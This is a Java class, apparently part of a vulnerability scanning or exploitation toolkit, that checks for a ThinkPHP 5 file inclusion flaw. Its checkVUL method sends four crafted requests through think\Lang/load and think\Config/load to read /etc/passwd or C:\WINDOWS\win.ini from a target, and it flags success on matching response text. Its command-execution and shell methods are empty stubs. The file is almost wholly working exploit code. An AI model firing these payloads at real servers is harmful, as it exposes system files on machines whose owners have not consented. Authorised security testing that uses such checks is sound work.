content: package com.agony.demo.exploit;
  
  import com.agony.demo.common.BasePayload;
  import com.agony.demo.utils.Result;
  import com.github.kevinsawicki.http.HttpRequest;
  
  
  import java.util.ArrayList;
  
  public class tp5_file_inclusion implements BasePayload {
      @Override
      public Result checkVUL(String url) throws Exception {
  
          ArrayList<String> payloads = new ArrayList<>();
          payloads.add(url + "/?s=index/\\think\\Lang/load&file=/etc/passwd");
          payloads.add(url + "/?s=index/\\think\\Lang/load&file=C:\\WINDOWS\\win.ini");
          payloads.add(url + "/?s=index/\\think\\Config/load&file=/etc/passwd");
          payloads.add(url + "/?s=index/\\think\\Config/load&file=C:\\WINDOWS\\win.ini");
  
          for (String payload : payloads) {
              try {
                  String res = HttpRequest.get(payload).body();
                  if (res.contains(":x:") || res.contains("for 16-bit app support")) {
                      return new Result(true, "ThinkPHP 5 文件包含漏洞", payload);
                  }
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }
          return new Result(false, "ThinkPHP 5 文件包含漏洞", null);
      }
  
      @Override
      public Result exeVUL(String url, String cmd) throws Exception {
          return new Result(false, null, null);
      }
  
      @Override
      public Result getShell(String url) throws Exception {
          return new Result(false, null, null);
      }
  }
  